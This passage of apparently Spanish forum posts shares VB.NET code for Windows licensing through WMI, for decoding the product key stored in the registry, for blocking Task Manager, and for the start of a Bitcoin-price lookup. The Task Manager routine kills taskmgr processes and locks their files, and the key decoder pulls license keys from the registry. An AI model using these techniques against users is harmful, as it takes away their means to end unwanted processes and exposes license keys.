''' ----------------------------------------------------------------------------------------------------
''' <param name="licFile">
''' The license file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="PlatformNotSupportedException">
''' Windows 7 or newer is required to use this feature.
''' </exception>
'''
''' <exception cref="FileNotFoundException">
''' License file not found.
''' </exception>
'''
''' <exception cref="Exception">
''' The Software Licensing Service determined that the license is invalid.
''' or
''' Unknown error occurred during the license installation attempt.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub InstallLicense(ByVal licFile As FileInfo)
If Not (IsWin7OrGreater) Then
Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
End If
If Not licFile.Exists Then
Throw New FileNotFoundException("License file not found.", licFile.FullName)
End If
Dim licData As String = File.ReadAllText(licFile.FullName)
Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
For Each product As ManagementObject In query.Get()
Dim result As UInteger
Try
result = CUInt(product.InvokeMethod("InstallLicense", {licData}))
Catch ex As COMException When (ex.HResult = -1073418209)
Throw New Exception("The Software Licensing Service determined that the license is invalid.", ex)
Catch ex As COMException
Marshal.ThrowExceptionForHR(ex.HResult)
Catch ex As Exception
Throw
End Try
If (result <> 0UI) Then
Throw New Exception("Unknown error occurred during the license installation attempt.")
End If
Next product
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Installs a Windows product key on the current operating system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534590(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim productKey As String = "YTMG3-N6DKC-DKB77-7M9GH-8HVX7"
''' InstallProductKey(productKey)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="productKey">
''' The product key.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="PlatformNotSupportedException">
''' Windows 7 or newer is required to use this feature.
''' </exception>
'''
''' <exception cref="ArgumentNullException">
''' productKey
''' </exception>
'''
''' <exception cref="Exception">
''' The Software Licensing Service determined that the product key is invalid.
''' or
''' Unknown error occurred during the product key installation attempt.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub InstallProductKey(ByVal productKey As String)
If Not (IsWin7OrGreater) Then
Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
End If
If String.IsNullOrWhiteSpace(productKey) Then
Throw New ArgumentNullException("productKey")
End If
Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
For Each product As ManagementObject In query.Get()
Dim result As UInteger
Try
result = CUInt(product.InvokeMethod("InstallProductKey", {productKey}))
' Installing a product key could change Windows licensing state.
' Since the service determines if it can shut down and when is the next start time
' based on the licensing state we should reconsume the licenses here.
product.InvokeMethod("RefreshLicenseStatus", Nothing)
Catch ex As COMException When (ex.HResult = -1073418160)
Throw New Exception("The Software Licensing Service determined that the product key is invalid.", ex)
Catch ex As COMException
Marshal.ThrowExceptionForHR(ex.HResult)
Catch ex As Exception
Throw
End Try
If (result <> 0UI) Then
Throw New Exception("Unknown error occurred during the product key installation attempt.")
End If
Next product
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Uninstall the Windows product key of the current operating system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534599(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="PlatformNotSupportedException">
''' Windows 7 or newer is required to use this feature.
''' </exception>
'''
''' <exception cref="Exception">
''' Unknown error occurred during the product key uninstallation attempt.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub UninstallProductKey()
If Not (IsWin7OrGreater) Then
Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
End If
Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingProduct")
For Each product As ManagementObject In query.Get()
Dim result As UInteger
Try
result = CUInt(product.InvokeMethod("UninstallProductKey", Nothing))
' Uninstalling a product key could change Windows licensing state.
' Since the service determines if it can shut down and when is the next start time
' based on the licensing state we should reconsume the licenses here.
product.InvokeMethod("RefreshLicenseStatus", Nothing)
Catch ex As COMException
Marshal.ThrowExceptionForHR(ex.HResult)
Catch ex As Exception
Throw
End Try
If (result <> 0UI) Then
Throw New Exception("Unknown error occurred during the product key removal attempt.")
End If
Next product
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Removes the Windows product key from registry (to prevent unauthorized diffusion)
''' of the current operating system.
''' <para></para>
''' It does not uninstall the product key.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534586(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="PlatformNotSupportedException">
''' Windows 7 or newer is required to use this feature.
''' </exception>
'''
''' <exception cref="Exception">
''' Unknown error occurred during the product key removal attempt.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub RemoveProductKeyFromRegistry()
If Not (IsWin7OrGreater) Then
Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
End If
Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
For Each product As ManagementObject In query.Get()
Dim result As UInteger
Try
result = CUInt(product.InvokeMethod("ClearProductKeyFromRegistry", Nothing))
Catch ex As COMException
Marshal.ThrowExceptionForHR(ex.HResult)
Catch ex As Exception
Throw
End Try
If (result <> 0UI) Then
Throw New Exception("Unknown error occurred during the product key removal attempt.")
End If
Next product
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Updates the licensing status of the machine so that applications have access to current licensing information.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/cc534592(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="PlatformNotSupportedException">
''' Windows 7 or newer is required to use this feature.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub RefreshLicenseStatus()
If Not (IsWin7OrGreater) Then
Throw New PlatformNotSupportedException("Windows 7 or newer is required to use this feature.")
End If
Using query As New ManagementObjectSearcher("SELECT Version FROM SoftwareLicensingService")
For Each product As ManagementObject In query.Get()
product.InvokeMethod("RefreshLicenseStatus", Nothing)
Next product
End Using
End Sub
#End Region
#Region " Private Members "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determines whether the current operating system is <c>Windows 7</c>, or greater.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' If Not IsWin7OrGreater Then
''' Throw New PlatformNotSupportedException("This application cannot run under the current Windows version.")
''' End If
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that determines whether the current operating system is <c>Windows 7</c>, or greater.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Private Shared ReadOnly Property IsWin7OrGreater() As Boolean
<DebuggerStepThrough>
Get
Return (Environment.OSVersion.Platform = PlatformID.Win32NT) AndAlso
(Environment.OSVersion.Version.CompareTo(New Version(6, 1)) >= 0)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determines whether the current operating system is <c>Windows 8</c>, or greater.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' If Not IsWin8OrGreater Then
''' Throw New PlatformNotSupportedException("This application cannot run under the current Windows version.")
''' End If
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that determines whether the current operating system is <c>Windows 8</c>, or greater.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Private Shared ReadOnly Property IsWin8OrGreater() As Boolean
<DebuggerStepThrough>
Get
Return (Environment.OSVersion.Platform = PlatformID.Win32NT) AndAlso
(Environment.OSVersion.Version.CompareTo(New Version(6, 2)) >= 0)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Windows product key.
''' <para></para>
''' Note that the return value could be <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa394239(v=vs.85).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Function GetWindowsProductId() As String
Dim result As String = Nothing
Using query As New ManagementObjectSearcher("SELECT SerialNumber FROM Win32_OperatingSystem")
For Each product As ManagementObject In query.Get()
result = CStr(product.Properties("SerialNumber").Value)
Next product
End Using
Return result
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Windows product key.
''' <para></para>
''' Note that the return value could be <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Function GetWindowsProductKey() As String
Dim regKey As RegistryKey
Dim regValue As Byte()
Dim productKey As String
If Environment.Is64BitOperatingSystem Then
regKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)
Else
regKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32)
End If
Using regKey
regValue = DirectCast(regKey.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion").
GetValue("DigitalProductId", New Byte() {}, RegistryValueOptions.None),
Byte())
End Using
productKey = Licensing.DecodeProductKey(regValue)
Return productKey
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Decode and return the Windows Product Key that is encoded in the specified Windows Product Identifier.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Function DecodeProductKey(ByVal windowsProductId As Byte()) As String
If (IsWin8OrGreater) Then ' Decode key from Windows 8 to Windows 10
Dim key As String = String.Empty
Dim keyOffset As Integer = 52
Dim isWin8 As Byte = CByte((windowsProductId(66) \ 6) And 1)
windowsProductId(66) = CByte((windowsProductId(66) And &HF7) Or (isWin8 And 2) * 4)
Dim digits As String = "BCDFGHJKMPQRTVWXY2346789"
Dim last As Integer = 0
For i As Integer = 24 To 0 Step -1
Dim current As Integer = 0
For j As Integer = 14 To 0 Step -1
current = current * 256
current = windowsProductId(j + keyOffset) + current
windowsProductId(j + keyOffset) = CByte(current \ 24)
current = current Mod 24
last = current
Next
key = digits(current) + key
Next
If (key = "BBBBBBBBBBBBBBBBBBBBBBBBB") Then
Return Nothing
End If
Dim keypart1 As String = key.Substring(1, last)
Dim keypart2 As String = key.Substring(last + 1, key.Length - (last + 1))
key = keypart1 & "N" & keypart2
For i As Integer = 5 To (key.Length - 1) Step 6
key = key.Insert(i, "-")
Next i
Return key
Else ' Decode key from Windows XP to Windows 7
Dim keyStartIndex As Integer = 52
Dim keyEndIndex As Integer = keyStartIndex + 15
Dim decodeLength As Integer = 29
Dim decodeStringLength As Integer = 15
Dim decodedChars As Char() = New Char(decodeLength - 1) {}
Dim hexPid As New ArrayList()
Dim digits As Char() = {
"B"c, "C"c, "D"c, "F"c, "G"c, "H"c,
"J"c, "K"c, "M"c, "P"c, "Q"c, "R"c,
"T"c, "V"c, "W"c, "X"c, "Y"c, "2"c,
"3"c, "4"c, "6"c, "7"c, "8"c, "9"c
}
For i As Integer = keyStartIndex To keyEndIndex
hexPid.Add(windowsProductId(i))
Next i
For i As Integer = (decodeLength - 1) To 0 Step -1
' Every sixth char is a separator.
If (i + 1) Mod 6 = 0 Then
decodedChars(i) = "-"c
Else
' Do the actual decoding.
Dim digitMapIndex As Integer = 0
For j As Integer = (decodeStringLength - 1) To 0 Step -1
Dim byteValue As Integer = (digitMapIndex << 8) Or CByte(hexPid(j))
hexPid(j) = CByte(byteValue \ 24)
digitMapIndex = byteValue Mod 24
decodedChars(i) = digits(digitMapIndex)
Next
End If
Next i
Return New String(decodedChars)
End If
End Function
#End Region
End Class
' End Namespace
#End Region
¿Cómo bloquear la ejecución del administrador de tareas de Windows?Este código lo he desarrollado para darle solución al siguiente problema: bloquear la ejecución del administrador de tareas de Windows (taskmgr.exe)
Además de eso, el código también bloquea la ejecución del hijack/sustituto del admiinstrador de tareas... suponiendo que el usuario haya definido tal hijack en el registro de Windows, claro está.
La metodología que he usado es la más sencilla (y por ende también la más eludible): abrir el stream del archivo para mantenerlo en uso y prohibir la compartición del archivo.
De esta manera, y mientras tengamos abierto el stream en nuestra aplicación, evitaremos una ejecución a demanda del administrador de tareas, incluyendo el intento de ejecución desde el diálogo de Logon de Windows.
Por supuesto el efecto no es permanente, tan solo perdurará hasta que nuestra aplicación finalice su ejecución o hasta que por el motivo que sea decidamos liberar el stream manualmente.
He usado esta metodología basicamente por que la intención de esto no es el desarrollo de malware (y para ser sincero no he querido complicarme más la vida puesto que el diseño de Malware y la ing. inversa no es mi fuerte), sino una simple utilidad a la que darle un uso ético, como por ejemplo podría ser poner impedimentos para intentar evitar que el usuario pueda matar nuestro proceso mientras estamos realizando una operación crítica e irreversible que podria dañar el sistema operativo si se detiene de forma anómala.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents any attempt for the current user from reading and running the 'taskmgr.exe' file
''' and any defined hijack in the system (if any)
''' <para></para>
''' Note that the file blocking is not permanent.
''' <para></para>
''' This function will return a <see cref="FileStream"/> Array that contains the 'taskmgr.exe' file stream(s)
''' opened with <see cref="FileAccess.Read"/> access and <see cref="FileShare.None"/> sharing.
''' <para></para>
''' So in order to unblock the access to the file(s), just dispose the opened stream(s) or terminate the calling aplication.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="FileStream"/> Array that contains the 'taskmgr.exe' file stream(s)
''' opened with <see cref="FileAccess.Read"/> access and <see cref="FileShare.None"/> sharing.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function BlockWindowsTaskManager() As FileStream()
' Build a list with the legit tskmgr.exe file(s).
Dim tkmgrFiles As New List(Of FileInfo) From { ' C:\Windows\System32\taskmgr.exe
New FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "taskmgr.exe"))
}
If (Environment.Is64BitOperatingSystem) AndAlso (Environment.Is64BitProcess) Then ' C:\Windows\SysWOW64\taskmgr.exe
tkmgrFiles.Add(New FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.SystemX86), "taskmgr.exe")))
End If
' Add to the list the taskmgr.exe hijacked file, if any.
Dim hijackValue As String = GetTaskManagerHijack()
If Not String.IsNullOrWhiteSpace(hijackValue) Then
tkmgrFiles.Add(New FileInfo(hijackValue))
End If
' Build a list where to add the open file streams.
Dim tkmgrStreams As New List(Of FileStream)
tkmgrFiles.ForEach(
Sub(ByVal file As FileInfo)
' Ensure that any instance of the taskmgr processes are running; otherwise, we must terminate them.
Dim processName As String = Path.GetFileNameWithoutExtension(file.Name)
For Each p As Process In Process.GetProcessesByName(processName)
Using p
Try
If Not (p.HasExited) Then
p.Kill()
' Wait a reasonable time interval if stuck/hanged process.
p.WaitForExit(CInt(TimeSpan.FromSeconds(10).TotalMilliseconds))
End If
Catch ex As Exception ' Failed to terminate the process
' Since we can still block an open file (if it was open with read sharing) but
' we can't terminate the current running/unblocked instance,
' so we conclude the overall operation failed and rollback previous blocks then finish here.
tkmgrStreams.ForEach(Sub(sr As Stream) sr.Dispose())
Throw
End Try
End Using ' p
Next p
If (file.Exists()) Then
Dim fs As FileStream
Try
fs = file.Open(FileMode.Open, FileAccess.Read, FileShare.None)
tkmgrStreams.Add(fs)
' Catch ex As IOException When (ex.HResult = -2147024864) ' File its being used by this or another process.
' This exception can occur if calling this function twice without disposing the returned stream(s) before the second call.
Catch ex As Exception ' File can't be opened for whatever reason.
' Since we can't open/block all the required files,
' we conclude the overall operation failed and rollback previous blocks then finish here.
tkmgrStreams.ForEach(Sub(sr As Stream) sr.Dispose())
Throw
End Try
End If
End Sub)
Return tkmgrStreams.ToArray()
End Function+
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the legit 'taskmgr.exe' file has a hijack defined in the Windows registry,
''' then returns the registry value that points to the hijack file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting hijack registry value,
''' or <see langword="Nothing"/> (null) if a 'taskmgr.exe' hijack doesn't exist.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetTaskManagerHijack() As String
Dim hijackSubkey As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe"
Using regKey As RegistryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)
Return DirectCast(regKey.OpenSubKey(hijackSubkey, RegistryRights.ReadKey)?.
GetValue("Debugger", Nothing, RegistryValueOptions.None), String)
End Using
End FunctionEjemplo de uso:
Dim tskmgrFiles As FileStream() = BlockWindowsTaskManager()
For Each fs As FileStream In tskmgrFiles
Debug.WriteLine(fs.Name)
' fs.Close() ' Call this to unblock file access.
Next fsResultado de ejecución en mi equipo de 64-Bits con Windows 10 instalado donde tengo asignado un hijack para correr el administrador de tareas de Windows 7 en lugar del de Windows 10:
Cita de: Visual Studio Debug Output WindowC:\Windows\system32\taskmgr.exe
C:\Windows\SysWOW64\taskmgr.exe
C:\Windows\system32\taskmgr7.exe
Hasta donde yo he probado, funciona.
Nótese que para optimizar los resultados el executable que llame a la función BlockWindowsTaskManager() debe ser de la misma arquitectura que el sistema operativo donde éste sea ejecutado, pues si Windows es de 64-Bit y nuestro executable es de 32, entonces Windows automáticamente hará redirección WOW64, o dicho de otra forma si estamos en Win64 y llamamos a la función BlockWindowsTaskManager() desde un WinExe32 entonces tan solo podremos bloquear 1 taskmgr.exe de los 2 taskmgr.exe legítimos en Windows x64. Y lo mismo sucederá con el hijack puesto que un executable de 32 bits no puede acceder al visor de registro de 64 bits.Saludos!
CÓMO OBTENER EL PRECIO DEL BITCOIN EN LA MONEDA QUE QUIERAS
Bueno, pues buscando alguna API gratuita y sin muchas limitaciones, encontré https://bitpay.com/api (https://bitpay.com/api) (de hecho, parece que no tiene ninguna limitación de peticiones por mes, pero no estoy completamente seguro.)
La sintaxis de la consulta es sencilla: "https://bitpay.com/api/rates/BTC/{NOMBRE_DE_MONEDA}" -así que primero creamos la siguiente enumeración con los nombres de monedas aceptados por la API (o en su defecto, un diccionario. como prefieran adaptarlo):
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies the ISO-4217 3-character currency codes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum Currencies As Integer
''' <summary>
''' UAE Dirham
''' </summary>
AED
''' <summary>
''' Afghan Afghani
''' </summary>
AFN
''' <summary>
''' Albanian Lek
''' </summary>
ALL
''' <summary>
''' Armenian Dram
''' </summary>
AMD
''' <summary>
''' Netherlands Antillean Guilder
''' </summary>
ANG
''' <summary>
''' Angolan Kwanza
''' </summary>
AOA
''' <summary>
''' Argentine Peso
''' </summary>
ARS
''' <summary>
''' Australian Dollar
''' </summary>
AUD
''' <summary>
''' Aruban Florin
''' </summary>
AWG
''' <summary>
''' Azerbaijani Manat
''' </summary>
AZN
''' <summary>
''' Bosnia-Herzegovina Convertible Mark
''' </summary>
BAM
''' <summary>
''' Barbadian Dollar
''' </summary>
BBD
''' <summary>
''' Bitcoin Cash
''' </summary>
BCH
''' <summary>
''' Bangladeshi Taka
''' </summary>
BDT
''' <summary>
''' Bulgarian Lev
''' </summary>
BGN
''' <summary>
''' Bahraini Dinar
''' </summary>
BHD
''' <summary>
''' Burundian Franc
''' </summary>
BIF
''' <summary>
''' Bermudan Dollar
''' </summary>
BMD
''' <summary>
''' Brunei Dollar
''' </summary>
BND
''' <summary>
''' Bolivian Boliviano
''' </summary>
BOB
''' <summary>
''' Brazilian Real
''' </summary>
BRL
''' <summary>
''' Bahamian Dollar
''' </summary>
BSD
''' <summary>
''' Bhutanese Ngultrum
''' </summary>
BTN
''' <summary>
''' Botswanan Pula
''' </summary>
BWP
''' <summary>
''' Belize Dollar
''' </summary>
BZD
''' <summary>
''' Canadian Dollar
''' </summary>
CAD
''' <summary>
''' Congolese Franc
''' </summary>
CDF
''' <summary>
''' Swiss Franc
''' </summary>
CHF
''' <summary>
''' Chilean Unit of Account (UF)
''' </summary>
CLF
''' <summary>
''' Chilean Peso
''' </summary>
CLP
''' <summary>
''' Chinese Yuan
''' </summary>
CNY
''' <summary>
''' Colombian Peso
''' </summary>
COP
''' <summary>
''' Costa Rican Colón
''' </summary>
CRC
''' <summary>
''' Cuban Peso
''' </summary>
CUP
''' <summary>
''' Cape Verdean Escudo
''' </summary>
CVE
''' <summary>
''' Czech Koruna
''' </summary>
CZK
''' <summary>
''' Djiboutian Franc
''' </summary>
DJF
''' <summary>
''' Danish Krone
''' </summary>
DKK
''' <summary>
''' Dominican Peso
''' </summary>
DOP
''' <summary>
''' Algerian Dinar
''' </summary>
DZD
''' <summary>
''' Egyptian Pound
''' </summary>
EGP
''' <summary>
''' Ethiopian Birr
''' </summary>
ETB
''' <summary>
''' Eurozone Euro
''' </summary>
EUR
''' <summary>
''' Fijian Dollar
''' </summary>
FJD
''' <summary>
''' Falkland Islands Pound
''' </summary>
FKP
''' <summary>
''' Pound Sterling
''' </summary>
GBP
''' <summary>
''' Georgian Lari
''' </summary>
GEL
''' <summary>
''' Ghanaian Cedi
''' </summary>
GHS
''' <summary>
''' Gibraltar Pound
''' </summary>
GIP
''' <summary>
''' Gambian Dalasi
''' </summary>
GMD
''' <summary>
''' Guinean Franc
''' </summary>
GNF
''' <summary>
''' Guatemalan Quetzal
''' </summary>
GTQ
''' <summary>
''' Guyanaese Dollar
''' </summary>
GYD
''' <summary>
''' Hong Kong Dollar
''' </summary>
HKD
''' <summary>
''' Honduran Lempira
''' </summary>
HNL
''' <summary>
''' Croatian Kuna
''' </summary>
HRK
''' <summary>
''' Haitian Gourde
''' </summary>
HTG
''' <summary>
''' Hungarian Forint
''' </summary>
HUF
''' <summary>
''' Indonesian Rupiah
''' </summary>
IDR
''' <summary>
''' Israeli Shekel
''' </summary>
ILS
''' <summary>
''' Indian Rupee
''' </summary>
INR
''' <summary>
''' Iraqi Dinar
''' </summary>
IQD
''' <summary>
''' Iranian Rial
''' </summary>
IRR
''' <summary>
''' Icelandic Króna
''' </summary>
ISK
''' <summary>
''' Jersey Pound
''' </summary>
JEP
''' <summary>
''' Jamaican Dollar
''' </summary>
JMD
''' <summary>
''' Jordanian Dinar
''' </summary>
JOD
''' <summary>
''' Japanese Yen
''' </summary>
JPY
''' <summary>
''' Kenyan Shilling
''' </summary>
KES
''' <summary>
''' Kyrgystani Som
''' </summary>
KGS
''' <summary>
''' Cambodian Riel
''' </summary>
KHR
''' <summary>
''' Comorian Franc
''' </summary>
KMF
''' <summary>
''' North Korean Won
''' </summary>
KPW
''' <summary>
''' South Korean Won
''' </summary>
KRW
''' <summary>
''' Kuwaiti Dinar
''' </summary>
KWD
''' <summary>
''' Cayman Islands Dollar
''' </summary>
KYD
''' <summary>
''' Kazakhstani Tenge
''' </summary>
KZT
''' <summary>
''' Laotian Kip
''' </summary>
LAK
''' <summary>
''' Lebanese Pound
''' </summary>
LBP
''' <summary>
''' Sri Lankan Rupee
''' </summary>
LKR
''' <summary>
''' Liberian Dollar
''' </summary>
LRD
''' <summary>
''' Lesotho Loti
''' </summary>
LSL
''' <summary>
''' Libyan Dinar
''' </summary>
LYD
''' <summary>
''' Moroccan Dirham
''' </summary>
MAD
''' <summary>
''' Moldovan Leu
''' </summary>
MDL
''' <summary>
''' Malagasy Ariary
''' </summary>
MGA
''' <summary>
''' Macedonian Denar
''' </summary>
MKD
''' <summary>
''' Myanma Kyat
''' </summary>
MMK
''' <summary>
''' Mongolian Tugrik
''' </summary>
MNT
''' <summary>
''' Macanese Pataca
''' </summary>
MOP
''' <summary>
''' Mauritanian Ouguiya
''' </summary>
MRO
''' <summary>
''' Mauritian Rupee
''' </summary>
MUR
''' <summary>
''' Maldivian Rufiyaa
''' </summary>
MVR
''' <summary>
''' Malawian Kwacha
''' </summary>
MWK
''' <summary>
''' Mexican Peso
''' </summary>
MXN
''' <summary>
''' Malaysian Ringgit
''' </summary>
MYR
''' <summary>
''' Mozambican Metical
''' </summary>
MZN
''' <summary>
''' Namibian Dollar
''' </summary>
NAD
''' <summary>
''' Nigerian Naira
''' </summary>
NGN
''' <summary>
''' Nicaraguan Córdoba
''' </summary>
NIO
''' <summary>
''' Norwegian Krone
''' </summary>
NOK
''' <summary>
''' Nepalese Rupee
''' </summary>
NPR
''' <summary>
''' New Zealand Dollar
''' </summary>
NZD
''' <summary>
''' Omani Rial
''' </summary>
OMR
''' <summary>
''' Panamanian Balboa
''' </summary>
PAB
''' <summary>
''' Peruvian Nuevo Sol
''' </summary>
PEN
''' <summary>
''' Papua New Guinean Kina
''' </summary>
PGK
''' <summary>
''' Philippine Peso
''' </summary>
PHP
''' <summary>
''' Pakistani Rupee
''' </summary>
PKR
''' <summary>
''' Polish Zloty
''' </summary>
PLN
''' <summary>
''' Paraguayan Guarani
''' </summary>
PYG
''' <summary>
''' Qatari Rial
''' </summary>
QAR
''' <summary>
''' Romanian Leu
''' </summary>
RON
''' <summary>
''' Serbian Dinar
''' </summary>
RSD
''' <summary>
''' Russian Ruble
''' </summary>
RUB
''' <summary>
''' Rwandan Franc
''' </summary>
RWF
''' <summary>
''' Saudi Riyal
''' </summary>
SAR
''' <summary>
''' Solomon Islands Dollar
''' </summary>
SBD
''' <summary>
''' Seychellois Rupee
''' </summary>
SCR
''' <summary>
''' Sudanese Pound
''' </summary>
SDG
''' <summary>
''' Swedish Krona
''' </summary>
SEK
''' <summary>
''' Singapore Dollar
''' </summary>
SGD
''' <summary>
''' Saint Helena Pound
''' </summary>
SHP
''' <summary>
''' Sierra Leonean Leone
''' </summary>
SLL
''' <summary>
''' Somali Shilling
''' </summary>
SOS
''' <summary>
''' Surinamese Dollar
''' </summary>
SRD
''' <summary>
''' São Tomé and Príncipe Dobra
''' </summary>
STD
''' <summary>
''' Salvadoran Colón
''' </summary>
SVC
''' <summary>
''' Syrian Pound
''' </summary>
SYP
''' <summary>
''' Swazi Lilangeni
''' </summary>
SZL
''' <summary>
''' Thai Baht
''' </summary>
THB
''' <summary>
''' Tajikistani Somoni
''' </summary>
TJS
''' <summary>
''' Turkmenistani Manat
''' </summary>
TMT
''' <summary>
''' Tunisian Dinar
''' </summary>
TND
''' <summary>
''' Tongan Paʻanga
''' </summary>
TOP
''' <summary>
''' Turkish Lira
''' </summary>
[TRY]
''' <summary>
''' Trinidad and Tobago Dollar
''' </summary>
TTD
''' <summary>
''' New Taiwan Dollar
''' </summary>
TWD
''' <summary>
''' Tanzanian Shilling
''' </summary>
TZS
''' <summary>
''' Ukrainian Hryvnia
''' </summary>
UAH
''' <summary>
''' Ugandan Shilling
''' </summary>
UGX
''' <summary>
''' US Dollar
''' </summary>
USD
''' <summary>
''' Uruguayan Peso
''' </summary>
UYU
''' <summary>
''' Uzbekistan Som
''' </summary>
UZS
''' <summary>
''' Venezuelan Bolívar Fuerte
''' </summary>
VEF
''' <summary>
''' Vietnamese Dong
''' </summary>
VND
''' <summary>
''' Vanuatu Vatu
''' </summary>
VUV
''' <summary>
''' Samoan Tala
''' </summary>
WST
''' <summary>
''' CFA Franc BEAC
''' </summary>
XAF
''' <summary>
''' Silver (troy ounce)
''' </summary>
XAG
''' <summary>
''' Gold (troy ounce)
''' </summary>
XAU
''' <summary>
''' East Caribbean Dollar
''' </summary>
XCD
''' <summary>
''' CFA Franc BCEAO
''' </summary>
XOF
''' <summary>
''' CFP Franc
''' </summary>
XPF
''' <summary>
''' Yemeni Rial
''' </summary>
YER
''' <summary>
''' South African Rand
''' </summary>
ZAR
''' <summary>
''' Zambian Kwacha
''' </summary>
ZMW
''' <summary>
''' Zimbabwean Dollar
''' </summary>
ZWL
End Enum
Y con eso, podemos hacer una función de uso genérico que tome como argumento un valor de la enumeración, usar la API y parsear el documento JSON devuelto para obtener el valor del Bitcoin:
Imports System.Globalization
Imports System.IO
Imports System.Net
Imports System.Runtime.Serialization.Json
Imports System.Text
Imports System.Xml
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the price of 1 Bitcoin in the specified currency.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="currency">
